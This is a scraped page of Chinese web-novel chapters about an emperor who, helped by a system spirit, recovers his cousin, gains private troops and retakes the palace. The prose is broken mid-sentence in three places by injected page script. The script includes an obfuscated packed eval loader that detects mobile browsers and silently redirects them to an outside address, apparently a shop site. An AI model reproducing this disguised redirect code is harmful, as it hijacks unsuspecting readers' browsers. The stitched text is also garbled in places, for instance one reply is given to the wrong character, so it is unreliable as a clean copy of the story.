$(''.inform'').remove(); $(''#content'').append('' 是石玉书刚才说,他家是受了齐海宽的牵连,才惨遭横祸。” 恰逢夜风吹过,几片枯叶被秋风吹起,在空荡的街道上打着旋。 周池关上窗户,隔断了外面的风声,客房里顿时安静下来,只有桌上的油灯偶尔发出噼里啪啦的响声。 “表哥通敌之事,一定另有隐情,待明日见到他,我定要当面问个清楚。” 翌日卯时,为了避免惹人耳目,周池在路边的集市上买了一顶斗笠。收拾好东西,他离开客栈,独自一人去了车马行。 他雇了一辆较为普通的马车,那车夫手掌粗糙,皮肤晒得黝黑,一看就是常年在外奔波的人。 “客人要去何地?”车夫一边检查马具,一边问道。 “京城西郊,露华村。”周池答道。 车夫手上动作一顿,他抬起头来,眼中闪过一丝诧异:“露华村可是个偏僻地方,路不好走,一年半载也不见有人过去,你去那里做什么?” 周池神色不变:“访友。” 车夫打量了周池一番,见他衣着普通,却周身气质非凡,不像是寻常百姓。加上他不愿多说什么,所以车夫也没再多问。 马车颠簸着出了城门,周池靠在车厢内闭目养神。 “系统,你这会儿还在吗?”周池突然在脑海里问道。 林清许正无聊地看着光屏,听到周池的声音,她立刻出声应道:“当然,我可是时时刻刻都在你脑海里的。话说,你找我什么事?” 周池依旧闭着眼,指尖在大腿上轻轻敲着:“无事,觉得路途乏闷,想找人说说话。” 他这几天先是准备秋猎,然后被刺客刺中跌落马背,醒来后就发现自己伤势已经痊愈,身边又多了个系统。 再之后,忙着做离开苍翠山的主线任务,又在落水后赶到城里…… 如今在马车上,终于有足够的时间和系统好好聊一聊了。 “你之前说,我是话本里的人。”周池问道,“那在这个话本里,我是怎样的一个人?” 林清许沉默了片刻,如实回答道:“其实吧,这个话本非常非常短,而你只是里面的一个配角,所以话本里并没有描述你是怎样的一个人。” 周池又问道:“话本的主角是谁?” 想到昨晚那些不愉快的对话,林清许喉中一塞,小心翼翼地说:“主角是林芷嫣和周玄。” 周池眼中闪过一丝了然,他神色十分平静,得到答案后也只是轻轻地“嗯”了一声。 怎么回事,他不生气,不难过吗? 谋害他的两个人才是书里的主角,而他贵为天子,却只是他人的垫脚石,任谁知道这种事心里都不会好受吧。 林清许正暗自纳闷,却又听周池忽然笑了一声。 “额,其实你也不用担心。”林清许怕他是在心里压抑着情绪,赶紧安慰道,“既然我出现在这里,那就说明话本可以修改,做好我给你的任务,就一定能逆天改命……” 林清许说了一连串安慰他的话,周池安静地听着,思绪却逐渐飘远。 若是秋猎之前,他得知这些事情,定会崩溃发疯,去找周玄问个清楚。 可是,被系统救醒之后,他发现自己小时候丢失的那段记忆,竟奇迹般地恢复了。 林芷嫣,周玄,这笔账我们慢慢算。 周池睁开了眼睛,嘴角微微勾起,眸色晦暗。 5. 收拾收拾去落霞山 路上,周池与林清许又聊了许多,可聊着聊着,林清许发现有点不对劲。 别的事情,周池都知无不言,唯独提及他与林芷嫣和周玄之间的恩怨时,他总是轻描淡写地带过,或者干脆直接沉默不语,过会儿再转移话题。 颠簸了几个时辰,马车终于抵达了露华村。 村口有一棵不知活了多少年的老槐树,几个村民正闲坐在树底下聊天,见有陌生面孔进村,不禁好奇地朝这边张望。 周池付完车钱,压低斗笠,避开村民的目光,按照林清许给出的线索,沿着村中小路朝最里面走去。 “那个戴斗笠的人,站住!”走着走着,身后传来一声怒斥。 周池脚步停顿,转身朝后面瞧了一眼,只见一个身材高大的村民提着锄头朝他走来,面色不善。 “你是何人,来我们露华村做什么?” 见状,林清许连忙道:“这人看上去不好惹,你别和他起冲突。” 周池在脑海里“嗯”了一声,随后轻轻抬起斗笠,语气平静:“恰巧路过此处,前来拜访一位故人。” 那名壮汉从上到下打量着周池,眼神中仍透着几分怀疑:“我们这穷乡僻壤的,什么人值得你这样的人物亲自来找?” 几个村民路过,见两人之间似乎起了争执,连忙过来询问情况。 得知来龙去脉后,一个年轻小伙上前打了个圆场:“原来是来找人啊,真是巧了,我跟村子里的人都挺熟,你要找的人叫什么名字,我带你过去。” 壮汉皱了皱眉,似乎还想说些什么,但被一个头发花白的老头用眼神制止了。 周池目光掠过几张神色各异的面孔,最后停在年轻小伙身上。他唇角微扬,拱手道:“多谢好意,不过故人住处就在前面,就不必劳烦了。” 说完,他转身继续朝村里走去。那名壮汉还是不放心,于是悄悄地跟在周池身后,想看他究竟要搞什么名堂。 “齐海宽住在村子最西边,那里有一间茅草屋。” 林清许在周池脑海中指引方向,拐了几个弯后,一个略显破败的茅草屋出现在周池眼前。 “他如今,就住在这种地方?”看着面前的场景,周池声音颤抖。 林清许:“定位不会出错,齐海宽就在这个茅草屋里面。” 周池静立片刻,最终还是缓步走了过去。 “有人吗?” 他压低声音,敲了几下屋门,很快里面便传来了脚步声。 齐海宽打开门,看到一个头戴斗笠,面容藏在阴影之下的陌生男子,心头一跳。 “阁下是?” 周池缓缓摘下斗笠,看清他的面容后,齐海宽如遭雷击,脸色瞬间变得惨白。 他踉跄着后退了一步,声音颤抖得不成样子:“陛、陛下你……” 还未说完,周池便出声打断了他:“有什么话,进去说。” 齐海宽醒过神来,朝周池身后一望,瞬间明白过来:“快请进。” 茅屋内狭小昏暗,里面的陈设也十分简陋。周池气息一滞,难以想象从小锦衣玉食的齐海宽,是如何能忍受这个住处的。 “表哥,当年的事……” 还未说完,齐海宽瞬间红了眼眶,他深吸一口气,语气中充满了悲愤:“当年我并未通敌,是恭亲王,他暗中倒卖军粮兵械,被发现后便将脏水全都泼在我的身上。” 想起那段时日,齐海宽眼角沁出泪水,声音哽咽。 “与外敌来往的信件,都是他命人伪造的,他还杀了前来传旨的钦差,让我无法将这些事情上报朝廷。别无他法,我只能带着几个最信任的下属回京,可恭亲王竟知道我的行踪,将我活捉后关了起来。” 为了让齐海宽认下通敌的罪名,周玄对他施加严刑,还以朋友妻儿的性命来要挟他,但齐海宽仍不肯松口,为此险些丧命。 他的几个下属和他关在一起,见齐海宽浑身血淋淋地被抬回来,几个人心中焦急,很快就想出一个主意,趁看守他们的人松懈时,带着齐海宽逃了出去。 那时他的意识有些模糊,所以记忆时断时续,只记得有几个下属为保护他死在半路,至于他是怎么回到京城,来到露华村的,他都不记得了。 听完齐海宽的这些经历后,林清许唏嘘不已:“我用能量测了一下,他说的都是真的。” 周池心里正难受着,闻言不禁问道:“你还能测谎?” 林清许答道:“当然可以,只是测谎需要耗费能量,得省着点用。” 周池心中稍安,看向齐海宽的目光更加复杂:“表哥,这些年苦了你了。” 就在这时,门外传来一阵嘈杂声,齐海宽感觉不妙,打开门一看,外面已经围了不少村民。为首的是那个壮汉,他身后还跟着十多个村民,个个手持农具,目光警惕地看向周池。 “哎呀,大家这是做什么啊?!” 齐海宽连忙张开双臂挡在周池身前,语气急切:“这位是我远房表弟,今日特地来看望我的,大家莫要误会。” 闻言,村民们面面相觑,那名壮汉则面露尴尬之色,走到齐海宽身旁和他小声交谈着。 周池听不到他们在说些什么,所以只能由林清许为他转述。 “齐海宽当年是被村里一个德高望重的老人家带回来的,那人说齐海宽是他的恩人,所以这些年村民们一直很照顾他,刚才也是担心他的安危,才会这么紧张。” 待村民散去时,齐海宽早已满头大汗。经过这场闹剧,他心情不再像刚才那样悲愤,反而还有心情开玩笑。 “幸好陛下这次没让侍卫随行,不然方才的场面只怕要闹得更大了。” 闻言,周池眸光闪烁,沉默不语。 见状,齐海宽察觉到不对,瞬间止住了笑声,神色凝重:“陛下今日究竟为何前来,难道朝中生了什么变故?” 周池长叹一声,低声道:“你我之间何必这样客气,还像从前那样唤我表弟即可。我这次来的确遇到了一些事情,所以需要表哥帮忙。” 他将秋猎时发生的事情一一告知齐海宽,出于保密,他没有透露系统与任务的存在。 得知来龙去脉后,齐海宽怒骂周玄是个狼子野心的逆贼,又关心了几句周池的伤势。他知道如今朝中势力已大半倒向周玄,如今皇宫内外定有周玄的耳目,若是未经准备贸然回宫,后果不堪设想。 齐海宽急得如热锅上的蚂蚁,在院子里不停地踱步。忽然,他想到了什么,猛地抬头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206344|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向周池,开口时又犹豫起来。 周池察觉到他的欲言又止,于是问道:“表哥想说什么?” 齐海宽眸光闪烁,似是有些心虚:“表弟啊,有件事我一直没告诉你。” 哦?似乎有好戏看了。 林清许神采奕奕地靠近光屏,周池也挑了挑眉,示意他继续说下去。 “其实我之前听祖父说过,以防先帝过河拆桥,他曾暗中培养百名私兵,就养在京郊某处别院里。” 周池:“……”这可真是一个大“惊喜”。 见周池面色不虞,齐海宽连忙解释:“表弟莫要误会,祖父绝非心存异志,此举只是想给齐家留条后路罢了。所幸姨父与姨母恩爱有加,皇位也被传给了你,所以祖父并未动用这些兵马。他本就想等你到登基以后,再把这些私兵交给你,但他老人家走的早,我那时又忙着练武,就把这事儿给忘了。” 周池摇摇头,轻吐一口气:“豢养私兵的罪名可不小,不过如今确实顾不得那么多了。” 豢养兵马需要大量钱财,齐家虽为将门,但要维持百名私兵的开销,也绝非易事。而且这么多年过去,这些私兵是否还在,是否还愿效忠齐家,都未可知。 见周池并未动怒,齐海宽这才松了口气:“祖父当年挑选的都是忠义之士,他们的家眷也都安置在齐家名下的田庄里,应当不会轻易背弃。只是这么多年过去,不知他们是否还在训练……” 周池沉吟片刻,问道:“表哥可知那处别院的位置?” 齐海宽压低声音:“落霞山脚下,有一处酿酒作坊,那里便是养兵之处。” 事不宜迟,周池决定立刻动身前往落霞山。齐海宽决定和他一起去,于是两人简单收拾行装,趁着天色未暗,匆匆离开露华村。 “等到了落霞山,带着兵马回到皇宫,这个任务就算完成了。”林清许神清气爽地说,“还挺顺利的嘛。” 闻言,周池笑笑,不置可否。 马车上,齐海宽灵光一闪,问起周池为何会知道他如今的住处。 周池不能暴露系统的存在,于是用早就准备好的说辞糊弄过去:“有人特意将消息透漏给我,但此人隐在暗处,我亦不知其身份。” 齐海宽若有所思,没有再追问。 见状,周池赶紧转移话题:“说起来,齐家暗中豢养私兵的事情,除了你和外祖父,还有谁知道吗?” 齐海宽摇了摇头:“此事极为隐秘,祖父连父亲都未曾告知,若非我意外撞见他与心腹密谈,恐怕这秘密就要随他入土了。” 抵达落霞山时,天色已经暗了下来。山脚的酿酒作坊实在不少,两人打听数次,才确定究竟哪家才是他们要找的地方。 这间名叫“锦瑟坊”的酒坊看上去十分破旧,齐海宽上前叩门,按照祖父当年透漏的暗号敲了两次。 很快,门内传来一个警惕的声音:谁?” “故人来访,求一坛三十年的老酒。” “吱呀”一声,酒坊的门从里面打开一条缝。 “三十年的老酒价格不菲,故人可带了信物来?” 闻言,齐海宽与周池皆是一愣。 信物,什么信物?齐老将军可没说还要信物才能进去啊! 6. 信物 “我收回刚才的话。”林清许无奈扶额。 她还剩一些能量,用来凭空造物还是够的,但问题是周池和齐海宽都不知道信物是什么,她也是无的放矢。 见门外的人迟迟没有动作,里面那人目光一凛,将大门关得严严实实。 “既然没有信物,客人便回去吧。” 周池眉头一皱,压低声音对齐海宽问道:“外祖父弥留之际,可曾交付你什么特别的物件?或者,你身上可有能够证明身份的东西?” 齐海宽摇摇头,沮丧道:“没有,祖父他走得突然,除了几句嘱托,什么都没留下,至于证明身份的东西——” 他苦笑一声,道:”早在被周玄扣押的时候,我身上的东西就都被搜刮干净了。” 事情一下陷入僵局,齐海宽长叹一声,看着星辰遍布的天幕,提议道:“如今天色已晚,不如先去找个客栈歇息,明日白天再前来拜访吧。” 闻言,周池却看向锦瑟坊的大门,喃喃道:“今晚,我们恐怕是走不了了。” 若他是齐家私兵,被人找上门来,那人又拿不出证明身份的信物,那他必是要杀人灭口的。 看着光屏上逐渐靠近的几个红点,林清许眉头紧锁,连忙提醒道:“周围有人在向你们靠近,小心点。” 话音刚落,几个穿着夜行衣的男人便持剑向他们冲了过来。齐海宽脸色一变,下意识地护在周池身前。 “我自己能躲,还是顾好你自己吧。” 周池闪身与齐海宽拉开距离,避免在躲闪时误伤到彼此。 齐海宽心急如焚,躲避时还抽空喊道:“你身上还有伤,别逞强!” 事实上,周池这边并不需要他担心,因为有林清许这个“外挂”,所以他躲闪起来轻松自如,甚至还有余力观察对手的招式路数。 “左前方那个人下盘不稳,攻他下路。” 周池一个侧身,踢在那人的小腿上,对方瞬间扑倒在地。 “右后方有人偷袭,他要砍你左肩。” 周池微微侧头,顺势扣住对方的手腕,夺过对方手中的长剑。 有了林清许的提醒,周池如同开了天眼,在刀光剑影中游刃有余。 齐海宽在一旁看得目瞪口呆,他记得表弟的武艺虽好,却绝没有这般能够预料对手动作的本事。 大概过了一刻钟,这些黑衣人停了手,目光复杂地看向周池和齐海宽。 “你们两个究竟是何人,来锦瑟坊做什么?” 这两个人,一个与他们平日练的招式同出一源,一个好像背后长了眼睛,明明武艺超绝,夺了他们的剑却又处处手下留情,不似敌人。 “你们就是齐家豢养的私兵?”周池没有回答,而是扔下手中的剑,看向众人,面露不满,“今日一见,实在令人失望。” 他不说,但齐海宽却忍不住了:“我是齐老将军的嫡孙,名叫齐海宽……” 还未说完,为首那人便反驳道:“你在胡说八道些什么?齐小将军三年前便在城门下自刎而亡,你怎敢冒充他的身份?!” 露华村消息闭塞,周池也未提起,所以齐海宽还不知道“自己”在城外自刎归西的事情。 “什么,这怎么可能?”齐海宽瞪大眼睛,惊疑不定,“我什么时候死的,你把话说清楚!” 齐海宽与几个黑衣人交流地十分“热络”,周池这边反而冷清了许多。 然而,也只是表面上的冷清。 指挥了这么久,林清许下意识地伸手想要拭去额头的汗珠,却忘了她现在是魂体,根本就不会出汗。 “我就说嘛,你之前肯定练过武,身体记忆和反应速度都是一流,发挥得真不错。”她语气轻快,话语中的赞赏毫不吝啬。 周池淡淡一笑,在脑海中回应:“还得多亏你的提醒,不然我武艺再好,也敌不过这么多人围攻。” 听了这话,林清许心里更得意了:“那是自然,有本系统在,一定保你安然无恙。” 林清许沉浸在被人恭维的喜悦中,并未发现在她说完这句话后,周池眸中一闪而过的诧异与怀念。 这时,齐海宽还在与那群黑衣人争辩,见他们始终不信,他气急之下捡起一把长剑,将齐老将军教给他的剑招通通耍了个遍。 “这下你们该信了吧。” 齐海宽收剑而立,额头上渗出细细的汗珠。 见此情形,几个黑衣人都瞠目结舌,呆呆地站在原地。 然而,还未等他们反应过来,锦瑟坊的大门已被从里面打开了。 “属下赵青,见过齐小将军。”一个中年男人从里面走出来,他面容刚毅,声音却因过于激动而显得发虚。 周池抬眼望去,只见赵青快步上前,对着齐海宽单膝跪地:“都怪属下眼拙,方才竟未认出小将军。” 见状,周池缓步走过去,出声道:“夜里光线昏暗,我们身上也没有信物,谨慎些也是应该的,怪不到你身上。” 赵青一门心思都放到了齐海宽身上,这会周池主动出声,他才注意到周池的存在。 “这位是?”赵青看向齐海宽,询问道。 齐海宽将赵青扶起,还未等解释,就听周池回道:“此处不是说话的地方,还是先进去吧。” 赵青这才回过神来,连忙起身让开道路:“这位公子说的是,还请随我来。” 三人并排着走进锦瑟坊,留下几个黑衣人站在萧瑟的秋风里,面面相觑。 赵青领着二人穿过锦瑟坊的前厅,绕过几处回廊,来到一处隐蔽的院落。 “老将军仙故后,我们这些人断了供给,只能靠着锦瑟坊的营生勉强度日。” 赵青推开一扇木门,只见里面的兵器架上寒芒四闪,还有几个中年男人在仔细擦拭着兵器。 “兄弟们不必惊慌。”赵青抬手示意,“这位是齐小将军,老将军的嫡孙。” 众人面面相觑,其中一人皱眉道:“赵哥,这话可不能乱说,齐小将军三年前就……” “我没死,城外自刎的人就不是我!”未等说完,齐海宽就激动地解释道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206345|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 待他解释过原委,又说了许多从前的事情,证明他的身份后,屋内几人都红了眼眶,对他嘘寒问暖。 见此情景,林清许不由感慨道:“宿主,你现在这个样子,真的很像个电灯泡。” 周池问道:“电灯泡,那是什么?” 林清许被问得一愣,这才想起这个时候还没有电灯这个概念。 “电灯泡嘛,就是指像我们现在这样,在别人交流感情的场合里,显得格格不入,可有可无的人。” 周池闻言,目光在与几人相谈甚欢的齐海宽身上停留片刻,唇角微扬:“这词倒是贴切。” 过了一会儿,赵青从这令人激动的气氛里回过神,转头寻找周池的身影。见周池站在屋子角落的阴影处,他连忙上前,带着几分歉意:“兄弟们一时激动,怠慢公子了。” “无碍。”他声音平静,却让赵青莫名感到一阵威压。 “说起来,还不知公子身份。” 周池言简意赅:“齐老将军是我外祖父。” 闻言,赵青先是一愣,随后吓出一身冷汗。 齐老将军只有一个女儿,那就是齐瑶,也是当今圣上的生母。 所以面前站着的人不就是…… 赵青咽了咽口水,强迫自己镇定下来:“公子身上可有证明身份的信物?” 周池不慌不忙地解下腰间的印章,让赵青看了个清楚。另外几人也察觉到这边的动静,都纷纷望过来。 那枚印章由上好的青玉雕琢而成,一条蟠龙盘踞其上,栩栩如生。 见众人都看了过来,周池将印章放在桌上,不再沉默。 “此物是朕的私印,诸位可要看清楚了。” 赵青看得真切,知晓此物绝无造假的可能,又想到陛下与齐小将军的关系,于是再无怀疑。 他“噗通”一声跪倒在地,声音敬畏:“草民赵青,叩见陛下。” 屋内顿时鸦雀无声,其余几人如梦初醒,紧跟着跪地,连大气都不敢出。齐海宽也收敛情绪,肃立在一旁。 周池目光缓缓扫过众人,不再掩饰:“诸位平身,朕今日前来,是有要事相商。” 周池将秋猎时被周玄围杀之事悉数相告,了解事情原委后,赵青脸色骤变,怒气冲天。 “恭亲王竟敢弑君?”他拳头紧握,语气愤懑,“陛下待他至亲,封他为亲王,在京城享尽荣华,他竟如此大逆不道!” 一个额头带着疤痕的中年男人猛然站起身,走上前抱拳道:“齐老将军临终前曾向兄弟们传过信,倘若陛下有难,齐家军必当誓死效忠。如今齐家军虽只剩我等几十人,但个个都是受过齐老将军大恩,愿为陛下赴汤蹈火的忠义之士,任凭陛下调遣!” 听到此人的话,周池心中一恸,流下一滴清泪。 他知道外祖父疼爱他,但没想到,外祖父竟为他谋划至此。 “从今以后,你们便不再是齐家豢养的私兵,而是朕的护卫军。”周池的声音在屋内回荡着,“两日后,随朕一同回宫,清缴叛贼。” 7. 你的处境令人担忧 苍翠山上,周玄独立于后山悬崖旁,望着远处的密林,眼底阴郁。 他已派人搜查三日,却仍未能找到周池的下落,活不见人,死不见尸。 “王爷在看什么?”林芷嫣悄然出现在周玄背后,出声问道。 “嫣儿,亲卫已经搜了整整三日,却还未搜到皇兄的踪迹。”周玄转身看向林芷嫣,目光里淬着冷刃般的寒芒,声音低沉,“看不见他的尸身,我寝食难安啊。” 原来是在忧心这件事。 得到答案后,林芷嫣反而松了口气,她走上前为周玄披上一件披风,语气轻快:“王爷不必担心,那日安排的人不是说了,他射中了那位,害他摔下马匹不知所踪。他受了重伤,这山林里又时有野兽出没,或许……” 她顿了顿,抬眸观察着周玄的神色,嘴角露出一抹意味深长的笑意:“或许早已葬身兽腹,尸骨无存了。” 周玄眉头微蹙,山风掠过,掀起他肩上的披风。良久,他缓缓吐出一口气:“你说得对,他活不下来。” 最后一丝犹豫被野心与决绝取代,周玄眼中精光一现,终于露出几分真实的笑意。 “既如此,那便停止搜查。”他再次转身,面向京城所在的方向,“收拾行装,明日一早回京。” 他略一停顿,又想到了什么,补充道:“不过,为了以防万一,宫中还需再做些准备。” * “宿主,周玄他们离宫门还有二百里,我们得尽快了。”林清许看着外面的宫门,心情十分激动。 只要再等赵青带人与周池汇合,然后一行人进入皇宫,任务就算完成了。 周池自然也在关心任务的进度,可就在这紧要关头,宫门外突然传来一阵骚动。 “齐小将军,真的是你啊!” 一声惊呼从宫门外传来,惹得附近的人都扭头看了过去。听到动静,周池也心头一惊,轻轻掀开马车的帘子,朝宫门的方向看去。 “那人是表哥的旧识,似乎姓秦。” 周池看着秦屿身旁,伪装成寻常百姓的齐海宽,不禁扶额。 原本周池打算让赵青带人进城,与他汇合后再进入皇宫,谁知齐海宽却主动请缨,说仅由一人将兵马带进城实在引人注意,不如由他和赵青分批带人进来,还安全些。 周池拗不过他,就只好答应了。行动前,他让齐海宽在脸上做些伪装,再给自己改个名,以防被旁人发现。 结果可倒好,不仅被人认出来了,地点还是在宫门口。 “秦公子许是认错人了,鄙人姓赵名安,并非你口中的齐小将军。” 齐海宽神色自若地辩解着,然而,发现秦屿一直盯着他,并不回话后,他的额角还是冒出了冷汗。 “我们之前认识吗?”秦屿狐疑地问道。 齐海宽此时只想赶快和他撇清关系,于是赶紧答道:“不曾认识。” 这下秦屿可抓到了把柄,他冷哼一声,昂起头来:“既然不认识,那你怎知我姓秦?” 周池、林清许:“……” 不好,要翻车了! 林清许无奈叹气:“宿主,要不咱现在就进宫吧,我还有些能量,应对一些侍卫什么的足够了。” 周池轻轻摇头,眼看齐海宽被问得哑口无言,于是当机立断,掀开车帘沉声道:“秦公子,许久未见啊。” 秦屿闻声转头,看清周池面容时,他脸色大变,下意识就要俯身跪拜:“陛......” “公子何必多礼。”周池及时打断他,语气意味深长,“今日我与赵安表兄出游,不想在此巧遇。” 秦屿虽是个直肠子,却也不傻,当即会意:“原、原来是表公子,恕在下眼拙了。” 这番动静到底引起了宫门守卫的注意,见状,周池放下帘子,侧耳听着外面的声音。 几个侍卫朝这边走来,为首那人朝秦屿问话,目光却一直停在齐海宽身上。 “几位在此喧哗,所为何事?” 齐海宽正要开口,秦屿却抢先一步,笑着揽住他的肩:“兄弟莫怪,这位是我远房表亲,多年未见,一时激动声音大了些。” 他边说边暗中塞过一锭银子:“这些给兄弟们买酒喝,算是我一番心意。” 那名侍卫掂了掂银子,脸色稍缓。 “宫门口可不是你们叙旧的地方,若是冲撞了贵人,咱们都担不起。” 秦屿连连赔笑,可那侍卫不知犯了什么毛病,偏不想轻易放过他们。 “马车里那个也是你远方亲戚?” 秦屿吓得脸色苍白,额头渗出细汗,支吾道:“这、这位是......” 见势不妙,林清许再次提议道:“宿主,要不还是进去吧,赵青他们不知道什么时候才能来呢。” 这回周池没有拒绝,他轻轻道了声:“也好。” 随后,他起身下了马车,目光落在几名侍卫身上。 “陛……”几人下意识想要跪地行礼,可一想到恭亲王的吩咐,又都动作僵硬,硬生生停住了。 为首的侍卫强装镇定:“这位公子,宫门重地,还请表明身份。” 周池负手而立,虽着常服,却有一股不怒自威的气势。 “怎么,朕几日不在,你们就连主子都认不得了?” 闻言,侍卫们心跳如鼓,可一想起恭亲王许下的赏赐,都咬紧牙关,横下心来。 “陛下正在苍翠山秋猎,怎会出现在此?你这贼人胆大包天,竟敢冒充皇上!来人,将这伙逆贼拿下!” 话音刚落,四周侍卫“唰”地拔出佩剑,将周池、齐海宽与秦屿三人包围。 秦屿脸色煞白,欲哭无泪,齐海宽则下意识地将周池护在身后,隐藏在暗处的二十余名护卫军也都涌了出来,将几名侍卫团团包围。 “胆敢阻拦者,就地斩杀。” 周池一声令下,最外围的护卫军先行动起来,那几名侍卫想先下手为强,拿着佩剑往前一刺。 然而,剑刃仿佛被什么无形之物阻碍住了,根本伤不到周池他们。 光屏前,林清许微微挑眉,道:“给你们三个开了能量保护罩,就凭这么几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206346|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小喽啰,别想伤到你半根毫毛。” “嗯,知道。”得到消息后,周池立刻抓紧齐海宽和秦屿的胳膊,低声道:“这几个人伤不到我们,在这儿等着就好。” “不是,陛下。”秦屿哭丧着脸,肠子都悔青了,“微臣只是路过此处,未想牵扯进您与恭亲王的争斗中啊!” 闻言,周池与齐海宽都朝他转过头,问道:“你怎知道这是朕(表弟)与恭亲王的争斗?” 秦屿被问得一愣,疑惑道:“这不是很明显吗,恭亲王谋权篡位之心昭然若揭,几个侍卫怎敢阻挠陛下入宫,必是恭亲王指使的。” 林清许:“这个秦屿说得挺有道理,不过现在不是说这个的时候。赵青他们来了,宿主可以打开宫门进去啦!” 周池转身一看,只见赵青一马当先,率领着剩下的三十余名护卫军,疾驰而来。 “陛下!属下护驾来迟!”赵青拉紧缰绳,停在马车附近。 原本两方势均力敌互不相让,可赵青的到来瞬间扭转了这个局势。很快,几名侍卫便乱了阵脚。 踏进皇宫的那一刻,周池只觉得恍然隔世。在这期间,林清许一直盯着他的面板,直到主线任务进行更新。 【姓名:周池】 【身份:苍兰国帝王】 【生命值:83%】 【当前状态:良好】 【主线任务:七日内,拔除周玄安插在宫中的眼线】 林清许低头思考了一会儿,随后抬头看向能量条。这一看可不要紧,直接惊得她直接从座椅上弹了起来。 “我嘞个主神呐!” 能量条的进度竟然从2%瞬间升到了22%,不得不说,这次任务的回报算是非常丰盛了。 “宿主,主线任务更新了!”林清许激动地向周池发布新任务,“新任务要求你拔除周玄安插在宫里的眼线,但有七天的时间限制。” 周池轻轻点头,眉头微蹙:“这个任务简单,不过只给七日时间,可能不够。” 林清许如临大敌:“怎么?” 周池长叹一声,无奈道:“人太多了,七日之内或许找不完。” “你说什么?”林清许一脸不可置信,“这皇宫里不会遍地都是周玄的眼线吧?” 这到底是你的皇宫,还是周玄的皇宫? 周池揉了揉眉心,在脑海中回应:“周玄他经营多年,又有太后相助,如今势力已如日中天。我从前看重兄弟情分,对他多加忍让,所以……” 周池没再继续说,但即便如此,林清许也已明白他的未尽之语。 不过好在她现在能量还算充足,可以用来查探情报,从而找出周玄的眼线,然后一一击破。 “我就知道,这次的能量不是白给的。”林清许长叹一声,刚要向周池说出她的打算,却听宫门外一阵马蹄声。 “外面那是谁?”林清许问道。 周池闻言望去,眯着眼看了许久,随后嘴角微勾,露出一抹意味深长的笑意。 “那人就是朕的皇弟,恭亲王周玄。” 8. 你在叫谁 那就是原小说里温文尔雅的男主吗? 林清许看着他的模样,脑海里浮现出四个字——斯文败类。 周玄在宫门前勒马,目光扫过前面打斗的痕迹,面色难堪。然而,这副样子还未维持多久,他就收敛了情绪,露出欣喜的表情。 “皇兄平安无事,真是太好了。” 他快步上前,却被周池身旁的护卫军拦住了脚步。 锋利的剑刃指着脖颈,任谁都要心惊肉跳,但周玄却只咽了咽口水,语气依旧温和平静。 “皇兄这是何意?” 林清许拿出一把瓜子,边嗑边吐槽道:“你弟这演技真不错,明明对你恨得要死,却还能装作若无其事的样子。” 周玄:“他的确能演,否则怎会骗我这么多年?另外,你如今在做什么,为何我听到了一阵奇怪的声响?” “哦,我在嗑瓜子。”林清许理直气壮地说,“现在能量多了,我就在系统空间里变了些坚果来吃,你要不要来点儿?” 周池:“……不必。” 久不见周池回应,周玄眼底掠过一丝狠绝,随后又立刻变了神色,跪倒在地:“那日皇兄打猎迟迟不归,臣弟心急如焚,如今见皇兄平安归来,臣弟真是万分欣喜。” 他说得情真意切,眼角都渗出了泪光,好像真是个担忧兄长的好弟弟。 周池抬手示意护卫军退后,缓缓开口:“秋猎事宜皆由你负责,朕想听听,那日出现在苍翠山的刺客,你可查出是谁指使的了?” 周玄背脊一僵,低垂着头,愧疚地回复道:“臣弟无能,那贼人来去无踪,所以……” 过了半晌,周池长叹一声,俯身将周玄扶起:“此事是你失职,朕念及兄弟之情在,不重罚你。最近这些时日,你就在王府里待着,好好反省。” 周玄猛地抬头,难以置信地看了周池一眼,很快他又垂下眼帘,恭敬道:“臣弟领旨。” 周池微微颔首,随后转身离开,留下周玄看着他的背影,眼底满是不甘与算计。 “周玄在背后看你呢,那眼神,啧啧啧。”林清许磕完瓜子,唏嘘道,“如果眼神可以杀人,你恐怕已经被他千刀万剐了。” 周玄让齐海宽将护卫军安顿下来,打算自己一个人走回寝宫,听到林清许的话,他也只是“嗯”了一声,没做多余的表示。 不知道为什么,林清许总觉得周池的身影有些孤寂,而她莫名地不喜欢这种感觉。 “虽然你把周玄禁足了,但以他的性格,肯定不会安分的。话说你刚才的演技也不错嘛,明知道他是幕后主使,还能装出一副兄友弟恭的样子。” 周池的脚步停顿了一下。 “也不全是装的。”他轻声说着,语气中带着重重的疲惫感。 闻言,林清许愣住了。 周池走进寝宫屏退左右,这才继续道:“小时候,我们关系很好。有一年冬天,他担心我受凉,还偷偷把自己的手炉塞给我。” 只可惜,那捧少年时的暖意,终究没能熬过皇权路上的风雪。 “所以你只罚他禁足,是想再给他一次机会吗?” 